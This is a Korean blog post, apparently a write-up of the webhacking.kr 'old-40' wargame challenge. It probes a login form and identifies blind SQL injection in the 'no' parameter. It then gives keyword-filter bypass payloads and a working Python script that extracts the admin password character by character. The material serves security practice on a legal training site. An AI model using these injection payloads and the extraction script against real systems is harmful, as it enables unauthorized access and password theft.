old-40 풀이
2024. 5. 4. 03:02ㆍwebhacking.kr
728x90

로그인 폼에 정보들이 적혀있습니다


적힌 그대로 login 버튼을 눌러주면 URL에 GET 형식으로 값이 전달됩니다
폼에 적힌 기본값들을 하나씩 바꿔주면서 변화를 살펴봤습니다
no를 0으로 → 로그인 안됨
no를 2로 → Failure
id를 다른 값으로 → Failure
pw를 다른 값으로 → Failure
로그인이 되는 경우와 안 되는 경우가 확실하게 나뉘는 걸 보니, Blind SQLi일 것 같습니다
변화가 보이는 no에 SQL 구문을 넣어보겠습니다

위 사진과 같이 값을 변경하고 login 버튼을 눌렀더니 Success - guest가 출력됐습니다
no에 0||id=0x61646d696e를 넣어주겠습니다
(0x61646d696e = admin의 hex값)

admin 계정의 비밀번호를 입력하라고 합니다
결론적으로 이번 문제는 admin 계정의 비밀번호를 알아내는 Blind SQLi 문제가 되겠네요
[필터링 문자열 목록]
char, and, or, ascii, 공백, ord
필터링을 피해서 Python 자동화 코드를 작성해 주면 됩니다
import requests
import string
url = 'https://webhacking.kr/challenge/web-29/?'
T = 'admin password : '
pw = ''
def query(payload):
r = requests.get(url + payload)
content = r.text
return T in content
def find_pw_length():
result = 1
while query("no=0||no=2%26%26length(pw)={}&id=guest&pw=guest".format(result)) is False:
result += 1
return result
L = find_pw_length()
for i in range(1, L + 1):
for c in string.printable:
if query("no=0||no=2%26%26substr(pw,{},1)={}&id=guest&pw=guest".format(i, hex(ord(c)))) is True:
pw += c
break
print("PW: ",pw)
나온 결과값을 admin password에 넣어주겠습니다

728x90
'webhacking.kr' 카테고리의 다른 글
old-43 RevengE😈 풀이 (PW = FLAG) (0) | 2024.05.14 |
---|---|
NotSQL 풀이 (PW = FLAG) (0) | 2024.05.08 |
old-29 풀이 (0) | 2024.05.02 |
old-55 풀이 (0) | 2024.04.15 |
old-13 풀이 (0) | 2024.04.11 |